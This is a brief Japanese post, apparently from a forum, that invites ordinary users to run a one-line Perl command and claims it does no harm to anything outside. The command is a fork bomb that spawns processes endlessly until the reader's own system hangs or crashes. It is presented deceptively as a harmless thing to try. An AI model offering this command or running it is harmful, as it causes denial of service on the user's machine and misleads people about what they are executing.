では、一般ユーザーで、外部には決してイタヅラしない↓のコマンドをどうぞ
perl -e 'while (1) { fork; }'